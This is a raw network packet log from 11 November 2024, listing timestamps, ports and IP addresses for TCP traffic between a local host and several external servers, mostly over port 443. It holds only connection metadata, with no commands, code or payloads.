Nov 11, 2024 12:40:20.674206972 CET	443	49783	13.107.246.45	192.168.2.6
Nov 11, 2024 12:40:20.674300909 CET	49782	443	192.168.2.6	13.107.246.45
Nov 11, 2024 12:40:20.674304962 CET	443	49782	13.107.246.45	192.168.2.6
Nov 11, 2024 12:40:20.674935102 CET	49782	443	192.168.2.6	13.107.246.45
Nov 11, 2024 12:40:20.674937963 CET	443	49782	13.107.246.45	192.168.2.6
Nov 11, 2024 12:40:20.684117079 CET	49781	443	192.168.2.6	13.107.246.45
Nov 11, 2024 12:40:20.684123993 CET	443	49781	13.107.246.45	192.168.2.6
Nov 11, 2024 12:40:20.684868097 CET	49781	443	192.168.2.6	13.107.246.45
Nov 11, 2024 12:40:20.684873104 CET	443	49781	13.107.246.45	192.168.2.6
Nov 11, 2024 12:40:20.760816097 CET	443	49784	13.107.246.45	192.168.2.6
Nov 11, 2024 12:40:20.761019945 CET	443	49784	13.107.246.45	192.168.2.6
Nov 11, 2024 12:40:20.761077881 CET	49784	443	192.168.2.6	13.107.246.45
Nov 11, 2024 12:40:20.761234045 CET	443	49780	13.107.246.45	192.168.2.6
Nov 11, 2024 12:40:20.761384964 CET	443	49780	13.107.246.45	192.168.2.6
Nov 11, 2024 12:40:20.761428118 CET	49780	443	192.168.2.6	13.107.246.45
Nov 11, 2024 12:40:20.763448954 CET	443	49783	13.107.246.45	192.168.2.6
Nov 11, 2024 12:40:20.763546944 CET	443	49783	13.107.246.45	192.168.2.6
Nov 11, 2024 12:40:20.763592005 CET	49783	443	192.168.2.6	13.107.246.45
Nov 11, 2024 12:40:20.763736010 CET	443	49782	13.107.246.45	192.168.2.6
Nov 11, 2024 12:40:20.764152050 CET	443	49782	13.107.246.45	192.168.2.6
Nov 11, 2024 12:40:20.764195919 CET	49782	443	192.168.2.6	13.107.246.45
Nov 11, 2024 12:40:20.773165941 CET	443	49781	13.107.246.45	192.168.2.6
Nov 11, 2024 12:40:20.773274899 CET	443	49781	13.107.246.45	192.168.2.6
Nov 11, 2024 12:40:20.773319006 CET	49781	443	192.168.2.6	13.107.246.45
Nov 11, 2024 12:40:20.847182989 CET	49784	443	192.168.2.6	13.107.246.45
Nov 11, 2024 12:40:20.847203016 CET	443	49784	13.107.246.45	192.168.2.6
Nov 11, 2024 12:40:20.847215891 CET	49784	443	192.168.2.6	13.107.246.45
Nov 11, 2024 12:40:20.847222090 CET	443	49784	13.107.246.45	192.168.2.6
Nov 11, 2024 12:40:20.847984076 CET	49782	443	192.168.2.6	13.107.246.45
Nov 11, 2024 12:40:20.847994089 CET	443	49782	13.107.246.45	192.168.2.6
Nov 11, 2024 12:40:20.848964930 CET	49781	443	192.168.2.6	13.107.246.45
Nov 11, 2024 12:40:20.849025965 CET	443	49781	13.107.246.45	192.168.2.6
Nov 11, 2024 12:40:20.849039078 CET	49781	443	192.168.2.6	13.107.246.45
Nov 11, 2024 12:40:20.849050999 CET	443	49781	13.107.246.45	192.168.2.6
Nov 11, 2024 12:40:20.854100943 CET	49783	443	192.168.2.6	13.107.246.45
Nov 11, 2024 12:40:20.854114056 CET	443	49783	13.107.246.45	192.168.2.6
Nov 11, 2024 12:40:20.854124069 CET	49783	443	192.168.2.6	13.107.246.45
Nov 11, 2024 12:40:20.854129076 CET	443	49783	13.107.246.45	192.168.2.6
Nov 11, 2024 12:40:20.854340076 CET	49780	443	192.168.2.6	13.107.246.45
Nov 11, 2024 12:40:20.854346037 CET	443	49780	13.107.246.45	192.168.2.6
Nov 11, 2024 12:40:20.854365110 CET	49780	443	192.168.2.6	13.107.246.45
Nov 11, 2024 12:40:20.854371071 CET	443	49780	13.107.246.45	192.168.2.6
Nov 11, 2024 12:40:20.861586094 CET	49787	443	192.168.2.6	94.245.104.56
Nov 11, 2024 12:40:20.861604929 CET	443	49787	94.245.104.56	192.168.2.6
Nov 11, 2024 12:40:20.861661911 CET	49787	443	192.168.2.6	94.245.104.56
Nov 11, 2024 12:40:20.900202990 CET	49787	443	192.168.2.6	94.245.104.56
Nov 11, 2024 12:40:20.900217056 CET	443	49787	94.245.104.56	192.168.2.6
Nov 11, 2024 12:40:21.581851006 CET	49792	443	192.168.2.6	13.107.246.45
Nov 11, 2024 12:40:21.581867933 CET	443	49792	13.107.246.45	192.168.2.6
Nov 11, 2024 12:40:21.581940889 CET	49792	443	192.168.2.6	13.107.246.45
Nov 11, 2024 12:40:21.589989901 CET	49793	443	192.168.2.6	13.107.246.45
Nov 11, 2024 12:40:21.590002060 CET	443	49793	13.107.246.45	192.168.2.6
Nov 11, 2024 12:40:21.590070963 CET	49793	443	192.168.2.6	13.107.246.45
Nov 11, 2024 12:40:21.594080925 CET	49794	443	192.168.2.6	13.107.246.45
Nov 11, 2024 12:40:21.594091892 CET	443	49794	13.107.246.45	192.168.2.6
Nov 11, 2024 12:40:21.594245911 CET	49794	443	192.168.2.6	13.107.246.45
Nov 11, 2024 12:40:21.601963043 CET	49792	443	192.168.2.6	13.107.246.45
Nov 11, 2024 12:40:21.601972103 CET	443	49792	13.107.246.45	192.168.2.6
Nov 11, 2024 12:40:21.619908094 CET	443	49787	94.245.104.56	192.168.2.6
Nov 11, 2024 12:40:21.620172977 CET	49787	443	192.168.2.6	94.245.104.56
Nov 11, 2024 12:40:21.620184898 CET	443	49787	94.245.104.56	192.168.2.6
Nov 11, 2024 12:40:21.621217012 CET	443	49787	94.245.104.56	192.168.2.6
Nov 11, 2024 12:40:21.621294975 CET	49787	443	192.168.2.6	94.245.104.56
Nov 11, 2024 12:40:21.622601032 CET	49787	443	192.168.2.6	94.245.104.56
Nov 11, 2024 12:40:21.622648001 CET	443	49787	94.245.104.56	192.168.2.6
Nov 11, 2024 12:40:21.623744011 CET	49787	443	192.168.2.6	94.245.104.56
Nov 11, 2024 12:40:21.623749971 CET	443	49787	94.245.104.56	192.168.2.6
Nov 11, 2024 12:40:21.638799906 CET	49707	443	192.168.2.6	40.126.32.68
Nov 11, 2024 12:40:21.638931036 CET	49707	443	192.168.2.6	40.126.32.68
Nov 11, 2024 12:40:21.641398907 CET	49793	443	192.168.2.6	13.107.246.45
Nov 11, 2024 12:40:21.641412973 CET	443	49793	13.107.246.45	192.168.2.6
Nov 11, 2024 12:40:21.641746998 CET	49794	443	192.168.2.6	13.107.246.45
Nov 11, 2024 12:40:21.641765118 CET	443	49794	13.107.246.45	192.168.2.6
Nov 11, 2024 12:40:21.643615007 CET	49795	443	192.168.2.6	13.107.246.45
Nov 11, 2024 12:40:21.643634081 CET	443	49795	13.107.246.45	192.168.2.6
Nov 11, 2024 12:40:21.643687963 CET	443	49707	40.126.32.68	192.168.2.6
Nov 11, 2024 12:40:21.643719912 CET	443	49707	40.126.32.68	192.168.2.6
Nov 11, 2024 12:40:21.643749952 CET	49795	443	192.168.2.6	13.107.246.45
Nov 11, 2024 12:40:21.643800974 CET	443	49707	40.126.32.68	192.168.2.6
Nov 11, 2024 12:40:21.643810034 CET	443	49707	40.126.32.68	192.168.2.6
Nov 11, 2024 12:40:21.643820047 CET	443	49707	40.126.32.68	192.168.2.6
Nov 11, 2024 12:40:21.644025087 CET	49795	443	192.168.2.6	13.107.246.45
Nov 11, 2024 12:40:21.644033909 CET	443	49795	13.107.246.45	192.168.2.6
Nov 11, 2024 12:40:21.667990923 CET	49796	443	192.168.2.6	13.107.246.45
Nov 11, 2024 12:40:21.668013096 CET	443	49796	13.107.246.45	192.168.2.6
Nov 11, 2024 12:40:21.668131113 CET	49796	443	192.168.2.6	13.107.246.45
Nov 11, 2024 12:40:21.691148996 CET	49787	443	192.168.2.6	94.245.104.56
Nov 11, 2024 12:40:21.777216911 CET	49796	443	192.168.2.6	13.107.246.45
Nov 11, 2024 12:40:21.777239084 CET	443	49796	13.107.246.45	192.168.2.6
Nov 11, 2024 12:40:21.966150999 CET	443	49707	40.126.32.68	192.168.2.6
Nov 11, 2024 12:40:21.966167927 CET	443	49707	40.126.32.68	192.168.2.6
Nov 11, 2024 12:40:21.966178894 CET	443	49707	40.126.32.68	192.168.2.6
Nov 11, 2024 12:40:21.966191053 CET	443	49707	40.126.32.68	192.168.2.6
Nov 11, 2024 12:40:21.966203928 CET	443	49707	40.126.32.68	192.168.2.6
Nov 11, 2024 12:40:21.966216087 CET	443	49707	40.126.32.68	192.168.2.6
Nov 11, 2024 12:40:21.966228008 CET	49707	443	192.168.2.6	40.126.32.68
Nov 11, 2024 12:40:21.966274977 CET	49707	443	192.168.2.6	40.126.32.68
Nov 11, 2024 12:40:21.966496944 CET	443	49707	40.126.32.68	192.168.2.6
Nov 11, 2024 12:40:21.966509104 CET	443	49707	40.126.32.68	192.168.2.6
Nov 11, 2024 12:40:21.966521025 CET	443	49707	40.126.32.68	192.168.2.6
Nov 11, 2024 12:40:21.966562986 CET	49707	443	192.168.2.6	40.126.32.68
Nov 11, 2024 12:40:22.162350893 CET	443	49793	13.107.246.45	192.168.2.6
Nov 11, 2024 12:40:22.163695097 CET	443	49794	13.107.246.45	192.168.2.6
Nov 11, 2024 12:40:22.164165020 CET	443	49795	13.107.246.45	192.168.2.6
Nov 11, 2024 12:40:22.201802015 CET	49793	443	192.168.2.6	13.107.246.45
Nov 11, 2024 12:40:22.201831102 CET	443	49793	13.107.246.45	192.168.2.6
Nov 11, 2024 12:40:22.202338934 CET	49793	443	192.168.2.6	13.107.246.45
Nov 11, 2024 12:40:22.202344894 CET	443	49793	13.107.246.45	192.168.2.6
Nov 11, 2024 12:40:22.202604055 CET	49794	443	192.168.2.6	13.107.246.45
Nov 11, 2024 12:40:22.202619076 CET	443	49794	13.107.246.45	192.168.2.6
Nov 11, 2024 12:40:22.203011990 CET	49794	443	192.168.2.6	13.107.246.45
Nov 11, 2024 12:40:22.203021049 CET	443	49794	13.107.246.45	192.168.2.6
Nov 11, 2024 12:40:22.203275919 CET	49795	443	192.168.2.6	13.107.246.45
Nov 11, 2024 12:40:22.203289986 CET	443	49795	13.107.246.45	192.168.2.6
Nov 11, 2024 12:40:22.203603983 CET	49795	443	192.168.2.6	13.107.246.45
Nov 11, 2024 12:40:22.203608036 CET	443	49795	13.107.246.45	192.168.2.6
Nov 11, 2024 12:40:22.293092966 CET	443	49795	13.107.246.45	192.168.2.6
Nov 11, 2024 12:40:22.293276072 CET	443	49795	13.107.246.45	192.168.2.6
Nov 11, 2024 12:40:22.293353081 CET	49795	443	192.168.2.6	13.107.246.45
Nov 11, 2024 12:40:22.293450117 CET	443	49793	13.107.246.45	192.168.2.6
Nov 11, 2024 12:40:22.294030905 CET	443	49793	13.107.246.45	192.168.2.6
Nov 11, 2024 12:40:22.294187069 CET	49793	443	192.168.2.6	13.107.246.45
Nov 11, 2024 12:40:22.294900894 CET	443	49794	13.107.246.45	192.168.2.6
Nov 11, 2024 12:40:22.295005083 CET	443	49794	13.107.246.45	192.168.2.6
Nov 11, 2024 12:40:22.295094013 CET	49794	443	192.168.2.6	13.107.246.45
Nov 11, 2024 12:40:22.302968025 CET	49795	443	192.168.2.6	13.107.246.45
Nov 11, 2024 12:40:22.302984953 CET	443	49795	13.107.246.45	192.168.2.6
Nov 11, 2024 12:40:22.302995920 CET	49795	443	192.168.2.6	13.107.246.45
Nov 11, 2024 12:40:22.303000927 CET	443	49795	13.107.246.45	192.168.2.6
Nov 11, 2024 12:40:22.306744099 CET	443	49796	13.107.246.45	192.168.2.6
Nov 11, 2024 12:40:22.313791037 CET	49793	443	192.168.2.6	13.107.246.45
Nov 11, 2024 12:40:22.313805103 CET	443	49793	13.107.246.45	192.168.2.6
Nov 11, 2024 12:40:22.313823938 CET	49793	443	192.168.2.6	13.107.246.45
Nov 11, 2024 12:40:22.313828945 CET	443	49793	13.107.246.45	192.168.2.6
Nov 11, 2024 12:40:22.314789057 CET	49794	443	192.168.2.6	13.107.246.45
Nov 11, 2024 12:40:22.314798117 CET	443	49794	13.107.246.45	192.168.2.6
Nov 11, 2024 12:40:22.316207886 CET	49796	443	192.168.2.6	13.107.246.45
Nov 11, 2024 12:40:22.316229105 CET	443	49796	13.107.246.45	192.168.2.6
Nov 11, 2024 12:40:22.316755056 CET	49796	443	192.168.2.6	13.107.246.45
Nov 11, 2024 12:40:22.316761017 CET	443	49796	13.107.246.45	192.168.2.6
Nov 11, 2024 12:40:22.318474054 CET	49802	443	192.168.2.6	13.107.246.45
Nov 11, 2024 12:40:22.318489075 CET	443	49802	13.107.246.45	192.168.2.6
Nov 11, 2024 12:40:22.318558931 CET	49802	443	192.168.2.6	13.107.246.45
Nov 11, 2024 12:40:22.325752020 CET	49803	443	192.168.2.6	13.107.246.45
Nov 11, 2024 12:40:22.325786114 CET	443	49803	13.107.246.45	192.168.2.6
Nov 11, 2024 12:40:22.325865984 CET	49803	443	192.168.2.6	13.107.246.45
Nov 11, 2024 12:40:22.326630116 CET	49803	443	192.168.2.6	13.107.246.45
Nov 11, 2024 12:40:22.326642990 CET	443	49803	13.107.246.45	192.168.2.6
Nov 11, 2024 12:40:22.329133987 CET	49802	443	192.168.2.6	13.107.246.45
Nov 11, 2024 12:40:22.329144955 CET	443	49802	13.107.246.45	192.168.2.6
Nov 11, 2024 12:40:22.333091974 CET	49804	443	192.168.2.6	13.107.246.45
Nov 11, 2024 12:40:22.333112001 CET	443	49804	13.107.246.45	192.168.2.6
Nov 11, 2024 12:40:22.333179951 CET	49804	443	192.168.2.6	13.107.246.45
Nov 11, 2024 12:40:22.333328962 CET	49804	443	192.168.2.6	13.107.246.45
Nov 11, 2024 12:40:22.333344936 CET	443	49804	13.107.246.45	192.168.2.6
Nov 11, 2024 12:40:22.407399893 CET	443	49796	13.107.246.45	192.168.2.6
Nov 11, 2024 12:40:22.407473087 CET	443	49796	13.107.246.45	192.168.2.6
Nov 11, 2024 12:40:22.407562017 CET	49796	443	192.168.2.6	13.107.246.45
Nov 11, 2024 12:40:22.409327984 CET	49796	443	192.168.2.6	13.107.246.45
Nov 11, 2024 12:40:22.409343958 CET	443	49796	13.107.246.45	192.168.2.6
Nov 11, 2024 12:40:22.409354925 CET	49796	443	192.168.2.6	13.107.246.45
Nov 11, 2024 12:40:22.409359932 CET	443	49796	13.107.246.45	192.168.2.6
Nov 11, 2024 12:40:22.419282913 CET	49805	443	192.168.2.6	13.107.246.45
Nov 11, 2024 12:40:22.419328928 CET	443	49805	13.107.246.45	192.168.2.6
Nov 11, 2024 12:40:22.419440031 CET	49805	443	192.168.2.6	13.107.246.45
Nov 11, 2024 12:40:22.420830011 CET	49805	443	192.168.2.6	13.107.246.45
Nov 11, 2024 12:40:22.420842886 CET	443	49805	13.107.246.45	192.168.2.6
Nov 11, 2024 12:40:22.609896898 CET	80	49755	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:22.609968901 CET	49755	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:22.663724899 CET	49806	443	192.168.2.6	20.109.210.53
Nov 11, 2024 12:40:22.663764000 CET	443	49806	20.109.210.53	192.168.2.6
Nov 11, 2024 12:40:22.663849115 CET	49806	443	192.168.2.6	20.109.210.53
Nov 11, 2024 12:40:22.692579985 CET	49806	443	192.168.2.6	20.109.210.53
Nov 11, 2024 12:40:22.692605019 CET	443	49806	20.109.210.53	192.168.2.6
Nov 11, 2024 12:40:22.839752913 CET	443	49803	13.107.246.45	192.168.2.6
Nov 11, 2024 12:40:22.841885090 CET	443	49802	13.107.246.45	192.168.2.6
Nov 11, 2024 12:40:22.847181082 CET	443	49804	13.107.246.45	192.168.2.6
Nov 11, 2024 12:40:22.877679110 CET	49803	443	192.168.2.6	13.107.246.45
Nov 11, 2024 12:40:22.877691031 CET	443	49803	13.107.246.45	192.168.2.6
Nov 11, 2024 12:40:22.878458977 CET	49803	443	192.168.2.6	13.107.246.45
Nov 11, 2024 12:40:22.878468990 CET	443	49803	13.107.246.45	192.168.2.6
Nov 11, 2024 12:40:22.878771067 CET	49802	443	192.168.2.6	13.107.246.45
Nov 11, 2024 12:40:22.878784895 CET	443	49802	13.107.246.45	192.168.2.6
Nov 11, 2024 12:40:22.879211903 CET	49802	443	192.168.2.6	13.107.246.45
Nov 11, 2024 12:40:22.879215956 CET	443	49802	13.107.246.45	192.168.2.6
Nov 11, 2024 12:40:22.879605055 CET	49804	443	192.168.2.6	13.107.246.45
Nov 11, 2024 12:40:22.879625082 CET	443	49804	13.107.246.45	192.168.2.6
Nov 11, 2024 12:40:22.880008936 CET	49804	443	192.168.2.6	13.107.246.45
Nov 11, 2024 12:40:22.880013943 CET	443	49804	13.107.246.45	192.168.2.6
Nov 11, 2024 12:40:22.933017015 CET	443	49805	13.107.246.45	192.168.2.6
Nov 11, 2024 12:40:22.967103958 CET	443	49803	13.107.246.45	192.168.2.6
Nov 11, 2024 12:40:22.968061924 CET	443	49802	13.107.246.45	192.168.2.6
Nov 11, 2024 12:40:22.968120098 CET	443	49802	13.107.246.45	192.168.2.6
Nov 11, 2024 12:40:22.968179941 CET	49802	443	192.168.2.6	13.107.246.45
Nov 11, 2024 12:40:22.968209028 CET	443	49803	13.107.246.45	192.168.2.6
Nov 11, 2024 12:40:22.968262911 CET	49803	443	192.168.2.6	13.107.246.45
Nov 11, 2024 12:40:22.968502998 CET	443	49804	13.107.246.45	192.168.2.6
Nov 11, 2024 12:40:22.968781948 CET	443	49804	13.107.246.45	192.168.2.6
Nov 11, 2024 12:40:22.968826056 CET	49804	443	192.168.2.6	13.107.246.45
Nov 11, 2024 12:40:22.998107910 CET	49805	443	192.168.2.6	13.107.246.45
Nov 11, 2024 12:40:22.998132944 CET	443	49805	13.107.246.45	192.168.2.6
Nov 11, 2024 12:40:22.998560905 CET	49805	443	192.168.2.6	13.107.246.45
Nov 11, 2024 12:40:22.998565912 CET	443	49805	13.107.246.45	192.168.2.6
Nov 11, 2024 12:40:22.998749971 CET	49804	443	192.168.2.6	13.107.246.45
Nov 11, 2024 12:40:22.998764038 CET	443	49804	13.107.246.45	192.168.2.6
Nov 11, 2024 12:40:22.998769045 CET	49804	443	192.168.2.6	13.107.246.45
Nov 11, 2024 12:40:22.998775005 CET	443	49804	13.107.246.45	192.168.2.6
Nov 11, 2024 12:40:23.015870094 CET	49803	443	192.168.2.6	13.107.246.45
Nov 11, 2024 12:40:23.015887022 CET	443	49803	13.107.246.45	192.168.2.6
Nov 11, 2024 12:40:23.015902042 CET	49803	443	192.168.2.6	13.107.246.45
Nov 11, 2024 12:40:23.015911102 CET	443	49803	13.107.246.45	192.168.2.6
Nov 11, 2024 12:40:23.017599106 CET	49802	443	192.168.2.6	13.107.246.45
Nov 11, 2024 12:40:23.017612934 CET	443	49802	13.107.246.45	192.168.2.6
Nov 11, 2024 12:40:23.017621994 CET	49802	443	192.168.2.6	13.107.246.45
Nov 11, 2024 12:40:23.017627954 CET	443	49802	13.107.246.45	192.168.2.6
Nov 11, 2024 12:40:23.088063002 CET	443	49805	13.107.246.45	192.168.2.6
Nov 11, 2024 12:40:23.088135958 CET	443	49805	13.107.246.45	192.168.2.6
Nov 11, 2024 12:40:23.088195086 CET	49805	443	192.168.2.6	13.107.246.45
Nov 11, 2024 12:40:23.186966896 CET	49807	443	192.168.2.6	13.107.246.45
Nov 11, 2024 12:40:23.187084913 CET	443	49807	13.107.246.45	192.168.2.6
Nov 11, 2024 12:40:23.187227964 CET	49807	443	192.168.2.6	13.107.246.45
Nov 11, 2024 12:40:23.187513113 CET	49805	443	192.168.2.6	13.107.246.45
Nov 11, 2024 12:40:23.187513113 CET	49805	443	192.168.2.6	13.107.246.45
Nov 11, 2024 12:40:23.187524080 CET	443	49805	13.107.246.45	192.168.2.6
Nov 11, 2024 12:40:23.187531948 CET	443	49805	13.107.246.45	192.168.2.6
Nov 11, 2024 12:40:23.203773975 CET	49707	443	192.168.2.6	40.126.32.68
Nov 11, 2024 12:40:23.203819990 CET	49707	443	192.168.2.6	40.126.32.68
Nov 11, 2024 12:40:23.208760023 CET	443	49707	40.126.32.68	192.168.2.6
Nov 11, 2024 12:40:23.208774090 CET	443	49707	40.126.32.68	192.168.2.6
Nov 11, 2024 12:40:23.208791971 CET	443	49707	40.126.32.68	192.168.2.6
Nov 11, 2024 12:40:23.208801031 CET	443	49707	40.126.32.68	192.168.2.6
Nov 11, 2024 12:40:23.208810091 CET	443	49707	40.126.32.68	192.168.2.6
Nov 11, 2024 12:40:23.235752106 CET	443	49787	94.245.104.56	192.168.2.6
Nov 11, 2024 12:40:23.260086060 CET	49807	443	192.168.2.6	13.107.246.45
Nov 11, 2024 12:40:23.260102034 CET	443	49807	13.107.246.45	192.168.2.6
Nov 11, 2024 12:40:23.269876003 CET	49815	443	192.168.2.6	18.244.18.32
Nov 11, 2024 12:40:23.269886971 CET	443	49815	18.244.18.32	192.168.2.6
Nov 11, 2024 12:40:23.270050049 CET	49815	443	192.168.2.6	18.244.18.32
Nov 11, 2024 12:40:23.270569086 CET	49815	443	192.168.2.6	18.244.18.32
Nov 11, 2024 12:40:23.270581007 CET	443	49815	18.244.18.32	192.168.2.6
Nov 11, 2024 12:40:23.304631948 CET	443	49787	94.245.104.56	192.168.2.6
Nov 11, 2024 12:40:23.304703951 CET	49787	443	192.168.2.6	94.245.104.56
Nov 11, 2024 12:40:23.327491999 CET	49787	443	192.168.2.6	94.245.104.56
Nov 11, 2024 12:40:23.327502012 CET	443	49787	94.245.104.56	192.168.2.6
Nov 11, 2024 12:40:23.327558041 CET	49787	443	192.168.2.6	94.245.104.56
Nov 11, 2024 12:40:23.327579975 CET	49787	443	192.168.2.6	94.245.104.56
Nov 11, 2024 12:40:23.331434011 CET	443	49792	13.107.246.45	192.168.2.6
Nov 11, 2024 12:40:23.337022066 CET	49817	443	192.168.2.6	13.107.246.45
Nov 11, 2024 12:40:23.337035894 CET	443	49817	13.107.246.45	192.168.2.6
Nov 11, 2024 12:40:23.337153912 CET	49817	443	192.168.2.6	13.107.246.45
Nov 11, 2024 12:40:23.338190079 CET	443	49806	20.109.210.53	192.168.2.6
Nov 11, 2024 12:40:23.338314056 CET	49806	443	192.168.2.6	20.109.210.53
Nov 11, 2024 12:40:23.421194077 CET	49792	443	192.168.2.6	13.107.246.45
Nov 11, 2024 12:40:23.421206951 CET	443	49792	13.107.246.45	192.168.2.6
Nov 11, 2024 12:40:23.421696901 CET	49792	443	192.168.2.6	13.107.246.45
Nov 11, 2024 12:40:23.421701908 CET	443	49792	13.107.246.45	192.168.2.6
Nov 11, 2024 12:40:23.422645092 CET	49818	443	192.168.2.6	13.107.246.45
Nov 11, 2024 12:40:23.422655106 CET	443	49818	13.107.246.45	192.168.2.6
Nov 11, 2024 12:40:23.422841072 CET	49818	443	192.168.2.6	13.107.246.45
Nov 11, 2024 12:40:23.422954082 CET	49818	443	192.168.2.6	13.107.246.45
Nov 11, 2024 12:40:23.422961950 CET	443	49818	13.107.246.45	192.168.2.6
Nov 11, 2024 12:40:23.423183918 CET	49817	443	192.168.2.6	13.107.246.45
Nov 11, 2024 12:40:23.423196077 CET	443	49817	13.107.246.45	192.168.2.6
Nov 11, 2024 12:40:23.427046061 CET	49806	443	192.168.2.6	20.109.210.53
Nov 11, 2024 12:40:23.427064896 CET	443	49806	20.109.210.53	192.168.2.6
Nov 11, 2024 12:40:23.427351952 CET	443	49806	20.109.210.53	192.168.2.6
Nov 11, 2024 12:40:23.495265961 CET	443	49707	40.126.32.68	192.168.2.6
Nov 11, 2024 12:40:23.495347023 CET	443	49707	40.126.32.68	192.168.2.6
Nov 11, 2024 12:40:23.495356083 CET	443	49707	40.126.32.68	192.168.2.6
Nov 11, 2024 12:40:23.495394945 CET	49707	443	192.168.2.6	40.126.32.68
Nov 11, 2024 12:40:23.495409966 CET	443	49707	40.126.32.68	192.168.2.6
Nov 11, 2024 12:40:23.495421886 CET	443	49707	40.126.32.68	192.168.2.6
Nov 11, 2024 12:40:23.495433092 CET	443	49707	40.126.32.68	192.168.2.6
Nov 11, 2024 12:40:23.495456934 CET	49707	443	192.168.2.6	40.126.32.68
Nov 11, 2024 12:40:23.495485067 CET	49707	443	192.168.2.6	40.126.32.68
Nov 11, 2024 12:40:23.495945930 CET	443	49707	40.126.32.68	192.168.2.6
Nov 11, 2024 12:40:23.495956898 CET	443	49707	40.126.32.68	192.168.2.6
Nov 11, 2024 12:40:23.495966911 CET	443	49707	40.126.32.68	192.168.2.6
Nov 11, 2024 12:40:23.495990038 CET	49707	443	192.168.2.6	40.126.32.68
Nov 11, 2024 12:40:23.496272087 CET	443	49707	40.126.32.68	192.168.2.6
Nov 11, 2024 12:40:23.496316910 CET	49707	443	192.168.2.6	40.126.32.68
Nov 11, 2024 12:40:23.496371984 CET	443	49707	40.126.32.68	192.168.2.6
Nov 11, 2024 12:40:23.510039091 CET	443	49792	13.107.246.45	192.168.2.6
Nov 11, 2024 12:40:23.510380030 CET	443	49792	13.107.246.45	192.168.2.6
Nov 11, 2024 12:40:23.510431051 CET	49792	443	192.168.2.6	13.107.246.45
Nov 11, 2024 12:40:23.567668915 CET	49823	443	192.168.2.6	13.107.246.45
Nov 11, 2024 12:40:23.567692995 CET	443	49823	13.107.246.45	192.168.2.6
Nov 11, 2024 12:40:23.567919016 CET	49823	443	192.168.2.6	13.107.246.45
Nov 11, 2024 12:40:23.572154045 CET	49824	443	192.168.2.6	216.58.206.33
Nov 11, 2024 12:40:23.572163105 CET	443	49824	216.58.206.33	192.168.2.6
Nov 11, 2024 12:40:23.572407007 CET	49824	443	192.168.2.6	216.58.206.33
Nov 11, 2024 12:40:23.572649002 CET	49824	443	192.168.2.6	216.58.206.33
Nov 11, 2024 12:40:23.572660923 CET	443	49824	216.58.206.33	192.168.2.6
Nov 11, 2024 12:40:23.591368914 CET	49806	443	192.168.2.6	20.109.210.53
Nov 11, 2024 12:40:23.715467930 CET	443	49707	40.126.32.68	192.168.2.6
Nov 11, 2024 12:40:23.715574026 CET	49707	443	192.168.2.6	40.126.32.68
Nov 11, 2024 12:40:23.773770094 CET	443	49807	13.107.246.45	192.168.2.6
Nov 11, 2024 12:40:23.854875088 CET	443	49815	18.244.18.32	192.168.2.6
Nov 11, 2024 12:40:23.922049046 CET	49807	443	192.168.2.6	13.107.246.45
Nov 11, 2024 12:40:23.935516119 CET	49815	443	192.168.2.6	18.244.18.32
Nov 11, 2024 12:40:23.935523987 CET	443	49815	18.244.18.32	192.168.2.6
Nov 11, 2024 12:40:23.936563969 CET	443	49815	18.244.18.32	192.168.2.6
Nov 11, 2024 12:40:23.936574936 CET	443	49815	18.244.18.32	192.168.2.6
Nov 11, 2024 12:40:23.936649084 CET	49815	443	192.168.2.6	18.244.18.32
Nov 11, 2024 12:40:23.938822985 CET	443	49817	13.107.246.45	192.168.2.6
Nov 11, 2024 12:40:23.943253994 CET	443	49818	13.107.246.45	192.168.2.6
Nov 11, 2024 12:40:23.950788975 CET	49815	443	192.168.2.6	18.244.18.32
Nov 11, 2024 12:40:23.950850010 CET	443	49815	18.244.18.32	192.168.2.6
Nov 11, 2024 12:40:23.990087032 CET	49817	443	192.168.2.6	13.107.246.45
Nov 11, 2024 12:40:23.994715929 CET	49818	443	192.168.2.6	13.107.246.45
Nov 11, 2024 12:40:23.994745970 CET	443	49818	13.107.246.45	192.168.2.6
Nov 11, 2024 12:40:23.995203018 CET	49818	443	192.168.2.6	13.107.246.45
Nov 11, 2024 12:40:23.995208025 CET	443	49818	13.107.246.45	192.168.2.6
Nov 11, 2024 12:40:23.995491028 CET	49817	443	192.168.2.6	13.107.246.45
Nov 11, 2024 12:40:23.995496988 CET	443	49817	13.107.246.45	192.168.2.6
Nov 11, 2024 12:40:23.995994091 CET	49817	443	192.168.2.6	13.107.246.45
Nov 11, 2024 12:40:23.995997906 CET	443	49817	13.107.246.45	192.168.2.6
Nov 11, 2024 12:40:23.996195078 CET	49792	443	192.168.2.6	13.107.246.45
Nov 11, 2024 12:40:23.996206045 CET	443	49792	13.107.246.45	192.168.2.6
Nov 11, 2024 12:40:23.996218920 CET	49792	443	192.168.2.6	13.107.246.45
Nov 11, 2024 12:40:23.996223927 CET	443	49792	13.107.246.45	192.168.2.6
Nov 11, 2024 12:40:24.005359888 CET	49823	443	192.168.2.6	13.107.246.45
Nov 11, 2024 12:40:24.005378962 CET	443	49823	13.107.246.45	192.168.2.6
Nov 11, 2024 12:40:24.006289005 CET	49807	443	192.168.2.6	13.107.246.45
Nov 11, 2024 12:40:24.006324053 CET	443	49807	13.107.246.45	192.168.2.6
Nov 11, 2024 12:40:24.006948948 CET	49807	443	192.168.2.6	13.107.246.45
Nov 11, 2024 12:40:24.006959915 CET	443	49807	13.107.246.45	192.168.2.6
Nov 11, 2024 12:40:24.049077034 CET	49826	443	192.168.2.6	13.107.246.45
Nov 11, 2024 12:40:24.049108028 CET	443	49826	13.107.246.45	192.168.2.6
Nov 11, 2024 12:40:24.049201965 CET	49826	443	192.168.2.6	13.107.246.45
Nov 11, 2024 12:40:24.052305937 CET	49826	443	192.168.2.6	13.107.246.45
Nov 11, 2024 12:40:24.052318096 CET	443	49826	13.107.246.45	192.168.2.6
Nov 11, 2024 12:40:24.052963972 CET	49755	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:24.053265095 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:24.058103085 CET	80	49755	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:24.058532000 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:24.058588028 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:24.064904928 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:24.064928055 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:24.069879055 CET	80	49827	185.215.113.206	192.168.2.6
